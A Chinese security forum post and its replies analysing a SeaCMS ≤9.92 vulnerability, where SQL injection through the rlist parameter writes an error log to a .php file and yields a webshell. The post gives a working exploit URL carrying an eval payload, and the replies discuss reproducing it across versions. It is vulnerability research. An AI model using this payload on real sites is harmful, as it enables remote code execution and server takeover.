seacms<=9.92前台getshell

这篇文章的漏洞,在当时团队内部分享时就写好了。当时没分析过这个 CMS ,就顺便学习下(当时论坛中也发了帖子:https://forum.90sec.com/t/topic/258 )。

漏洞文件在 comment/api/index.php ,开头 require_once("../../include/common.php") 主要会做两件事。先将 $_GET、$_POST、$_COOKIE 注册成全局变量。(下图对应文件位置:include/filter.inc.php)

然后再检查这里是否存在非法变量名。不觉的这里有问题吗?正常逻辑应该是先检查变量名是否合法,然后再注册变量。还有一个问题就是,这里漏过滤了 _SESSION、_FILES ,我们继续往下看。(下图对应文件位置:include/common.php)

在下图第18行处调用了 ReadData 函数,我们跟进这个函数。在 ReadData 函数中,我们要关注 $rlist ,这个变量可以通过前面的全局变量注册来控制。而下面两个 Readmlist、Readrlist 都有用到这个变量,我们跟进。(下图对应文件位置:comment/api/index.php)

Readmlist 函数我们主要关注的是其对 $rlist 变量的过滤,具体过滤如下:(下图对应文件位置:comment/api/index.php)

然后再看 Readrlist 函数。这里的 $ids 其实就是刚才可控的 $rlist 变量,有没发现这里直接拼接在 SQL 语句中,而且没有引号包裹。而 getshell 也是发生在SQL语句执行这里。(下图对应文件位置:comment/api/index.php)

SQL 语句执行出错时, seacms 会把出错的信息写入一个 PHP 文件,这也是最终导致 getshell 的原因。(下图对应文件位置:include/sql.class.php)

EXP 如下:

http://localhost/seacms992/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E
# webshell地址:http://localhost/seacms992/data/mysqli_error_trace.php

3 个赞

表哥 我在实际搭建的时候,测试了一下,发现如果是sql报错会删除mysql_error_trace.php这个文件 ,实际出现的是以inc结尾的,难道是版本问题? 我搭建的是9.91的
QQ%E5%9B%BE%E7%89%8720190923194913

我也下载了其他小于9.91的对比版本,发现getshell部分代码是基本一样的


而且需要注释一些代码才会把错误内容放置在生成出来的文件内,与dedecms一样。

如果存在php结尾的这个文件就会直接删除。
也不会生成mysqli_error_trace.php,生成的是mysql_error_trace.php
表哥难道我们的源码不一样吗。。。
我实际测试也是不成功的

2 个赞

可能代码不一样吧,我只测了官网下载的9.92版本。

1 个赞

我下载了官网目前最新也也是这样,有官网的9.92的程序的下载地址吗

1 个赞

seacms.zip (6.3 MB)

不知道是不是 太久了 你可以看看

1 个赞

谢谢,楼上的maple表哥给出的9.92程序可以复现成功,确实是代码问题。漏洞的原因就是因为他仿照dedecms写存入sql错误信息的文件是php结尾的导致了getshell,但是我下载的就是以inc结尾。所以一开始也导致了复现出现了问题。

2 个赞

我下载了旧版本的9.2的sql.calss.php文件也是和这个差不多,都是要删除第476行的两个反斜杠。
但是9.92版本就不一样, 这里都被注释掉了

说实话跟这个关系不大,你往上面看,一个是inc 一个是php